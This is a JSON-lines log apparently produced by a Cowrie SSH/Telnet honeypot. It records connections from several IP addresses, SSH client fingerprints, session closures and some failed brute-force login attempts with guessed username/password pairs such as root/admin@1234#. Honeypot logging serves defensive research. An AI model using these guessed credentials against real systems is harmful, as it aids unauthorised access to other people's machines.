{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:48.754015Z","src_ip":"193.32.162.145","session":"9d8b57deb63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.0449743270874,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:48.981025Z","src_ip":"64.227.101.30","session":"3b19402f49be","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sollet","message":"login attempt [ubuntu/sollet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:49.086314Z","src_ip":"193.32.162.145","session":"9d8b57deb63e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":41172,"dst_ip":"10.17.0.5","dst_port":23,"session":"02cbf89f348f","protocol":"telnet","message":"New connection: 64.227.101.30:41172 (10.17.0.5:23) [session: 02cbf89f348f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:49.763930Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:50.188699Z","src_ip":"193.32.162.145","session":"9d8b57deb63e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.50994849205017,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:51.312828Z","src_ip":"64.227.101.30","session":"e2af47d2de1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.84900712966919,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:54.126720Z","src_ip":"64.227.101.30","session":"8eea4c090169","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.30261015892029,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:15:54.400744Z","src_ip":"64.227.101.30","session":"b56f75b31446","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.38889670372009,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:01.903776Z","src_ip":"64.227.101.30","session":"eb38741da0d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.51509761810303,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:02.502488Z","src_ip":"64.227.101.30","session":"e60ecd07caef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":39336,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb571d04c7d5","protocol":"telnet","message":"New connection: 64.227.101.30:39336 (10.17.0.5:23) [session: cb571d04c7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:03.315852Z"}
{"eventid":"cowrie.session.closed","duration":0.005803823471069336,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:03.321301Z","src_ip":"64.227.101.30","session":"cb571d04c7d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.449145793914795,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:04.220284Z","src_ip":"64.227.101.30","session":"450df0942472","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":34450,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8ed099a646b","protocol":"telnet","message":"New connection: 68.183.198.12:34450 (159.203.135.109:23) [session: a8ed099a646b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:06.908672Z"}
{"eventid":"cowrie.session.closed","duration":36.55161237716675,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:08.650696Z","src_ip":"64.227.101.30","session":"ec2549914845","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.66956806182861,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:11.920651Z","src_ip":"64.227.101.30","session":"98c57e57ab36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.93805408477783,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:12.105925Z","src_ip":"64.227.101.30","session":"fdef1ac47b2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00726103782654,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:18.255360Z","src_ip":"68.183.198.12","session":"b7206e369b9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":59264,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e9a183b61e8","protocol":"telnet","message":"New connection: 64.227.101.30:59264 (10.17.0.5:23) [session: 6e9a183b61e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:18.442971Z"}
{"eventid":"cowrie.session.closed","duration":38.68172359466553,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:21.648625Z","src_ip":"64.227.101.30","session":"d559bd819ecb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33588,"dst_ip":"10.17.0.5","dst_port":23,"session":"efdbaf2c5894","protocol":"telnet","message":"New connection: 64.227.101.30:33588 (10.17.0.5:23) [session: efdbaf2c5894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:24.650971Z"}
{"eventid":"cowrie.session.closed","duration":37.52515530586243,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:27.288952Z","src_ip":"64.227.101.30","session":"02cbf89f348f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":45100,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4dab2decdf5","protocol":"ssh","message":"New connection: 43.165.185.71:45100 (10.17.0.5:22) [session: a4dab2decdf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:27.495830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:27.500084Z","src_ip":"43.165.185.71","session":"a4dab2decdf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:27.686339Z","src_ip":"43.165.185.71","session":"a4dab2decdf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test$123","message":"login attempt [test/test$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:28.451545Z","src_ip":"43.165.185.71","session":"a4dab2decdf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:29.637158Z","src_ip":"43.165.185.71","session":"a4dab2decdf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43964,"dst_ip":"10.17.0.5","dst_port":23,"session":"18170eecabff","protocol":"telnet","message":"New connection: 64.227.101.30:43964 (10.17.0.5:23) [session: 18170eecabff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:31.818026Z"}
{"eventid":"cowrie.session.closed","duration":0.0038650035858154297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:31.821786Z","src_ip":"64.227.101.30","session":"18170eecabff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":38356,"dst_ip":"159.203.135.109","dst_port":23,"session":"d06fb8f14463","protocol":"telnet","message":"New connection: 68.183.198.12:38356 (159.203.135.109:23) [session: d06fb8f14463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:34.994922Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":36804,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b48e1bdeb14","protocol":"telnet","message":"New connection: 64.227.101.30:36804 (10.17.0.5:23) [session: 8b48e1bdeb14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:36.433765Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37244,"dst_ip":"10.17.0.5","dst_port":23,"session":"58948917828d","protocol":"telnet","message":"New connection: 64.227.101.30:37244 (10.17.0.5:23) [session: 58948917828d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:40.124844Z"}
{"eventid":"cowrie.session.closed","duration":120.00187659263611,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:41.196805Z","src_ip":"64.227.101.30","session":"92ba365091d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":64.2691125869751,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:42.192411Z","src_ip":"64.227.101.30","session":"09380f51d485","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38598,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7bf61c56a57","protocol":"telnet","message":"New connection: 64.227.101.30:38598 (10.17.0.5:23) [session: d7bf61c56a57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:44.724264Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":40706,"dst_ip":"159.203.135.109","dst_port":23,"session":"61d0305a2d39","protocol":"telnet","message":"New connection: 68.183.198.12:40706 (159.203.135.109:23) [session: 61d0305a2d39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:49.294667Z"}
{"eventid":"cowrie.session.closed","duration":35.09719467163086,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:53.540034Z","src_ip":"64.227.101.30","session":"6e9a183b61e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":41446,"dst_ip":"159.203.135.109","dst_port":23,"session":"72cc9d3a7945","protocol":"telnet","message":"New connection: 68.183.198.12:41446 (159.203.135.109:23) [session: 72cc9d3a7945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:54.945740Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":40818,"dst_ip":"10.17.0.5","dst_port":23,"session":"91bd815c81ea","protocol":"telnet","message":"New connection: 64.227.101.30:40818 (10.17.0.5:23) [session: 91bd815c81ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:55.132537Z"}
{"eventid":"cowrie.session.closed","duration":48.399336099624634,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:16:55.307878Z","src_ip":"68.183.198.12","session":"a8ed099a646b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":42214,"dst_ip":"159.203.135.109","dst_port":23,"session":"33daf284f4fe","protocol":"telnet","message":"New connection: 68.183.198.12:42214 (159.203.135.109:23) [session: 33daf284f4fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:01.430308Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43150,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d714bb52faf","protocol":"telnet","message":"New connection: 64.227.101.30:43150 (10.17.0.5:23) [session: 7d714bb52faf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:02.160232Z"}
{"eventid":"cowrie.session.closed","duration":38.74978756904602,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:03.400639Z","src_ip":"64.227.101.30","session":"efdbaf2c5894","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":35848,"dst_ip":"10.17.0.5","dst_port":23,"session":"539ea2906b2c","protocol":"telnet","message":"New connection: 64.227.101.30:35848 (10.17.0.5:23) [session: 539ea2906b2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:03.844388Z"}
{"eventid":"cowrie.session.closed","duration":0.005252838134765625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:03.849526Z","src_ip":"64.227.101.30","session":"539ea2906b2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":42546,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1da6e8ac5a5","protocol":"telnet","message":"New connection: 68.183.198.12:42546 (159.203.135.109:23) [session: b1da6e8ac5a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:04.149182Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46412,"dst_ip":"10.17.0.5","dst_port":23,"session":"712cf70a193b","protocol":"telnet","message":"New connection: 64.227.101.30:46412 (10.17.0.5:23) [session: 712cf70a193b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:17.675673Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":46350,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab0f0d5774d0","protocol":"ssh","message":"New connection: 103.170.173.26:46350 (10.17.0.5:22) [session: ab0f0d5774d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:17.816274Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:17.821458Z","src_ip":"103.170.173.26","session":"ab0f0d5774d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:18.089567Z","src_ip":"103.170.173.26","session":"ab0f0d5774d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"aaaaaa","message":"login attempt [testftp/aaaaaa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:19.193960Z","src_ip":"103.170.173.26","session":"ab0f0d5774d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.04007959365845,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:20.034867Z","src_ip":"68.183.198.12","session":"d06fb8f14463","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:20.464027Z","src_ip":"103.170.173.26","session":"ab0f0d5774d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46046,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5344e914e94","protocol":"telnet","message":"New connection: 64.227.101.30:46046 (10.17.0.5:23) [session: c5344e914e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:20.643946Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48862,"dst_ip":"10.17.0.5","dst_port":23,"session":"e17ca4f4765b","protocol":"telnet","message":"New connection: 64.227.101.30:48862 (10.17.0.5:23) [session: e17ca4f4765b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:21.231375Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":48582,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e2107e73874","protocol":"telnet","message":"New connection: 64.227.101.30:48582 (10.17.0.5:23) [session: 1e2107e73874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:22.218963Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":46470,"dst_ip":"10.17.0.5","dst_port":22,"session":"369650405d0b","protocol":"ssh","message":"New connection: 43.165.185.71:46470 (10.17.0.5:22) [session: 369650405d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:24.750629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:24.755647Z","src_ip":"43.165.185.71","session":"369650405d0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:24.934994Z","src_ip":"43.165.185.71","session":"369650405d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@1234#","message":"login attempt [root/admin@1234#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:25.661090Z","src_ip":"43.165.185.71","session":"369650405d0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":50640,"dst_ip":"10.17.0.5","dst_port":23,"session":"db08802639fc","protocol":"telnet","message":"New connection: 64.227.101.30:50640 (10.17.0.5:23) [session: db08802639fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:26.200172Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:26.845468Z","src_ip":"43.165.185.71","session":"369650405d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.52674221992493,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:30.960402Z","src_ip":"64.227.101.30","session":"8b48e1bdeb14","protocol":"telnet"}
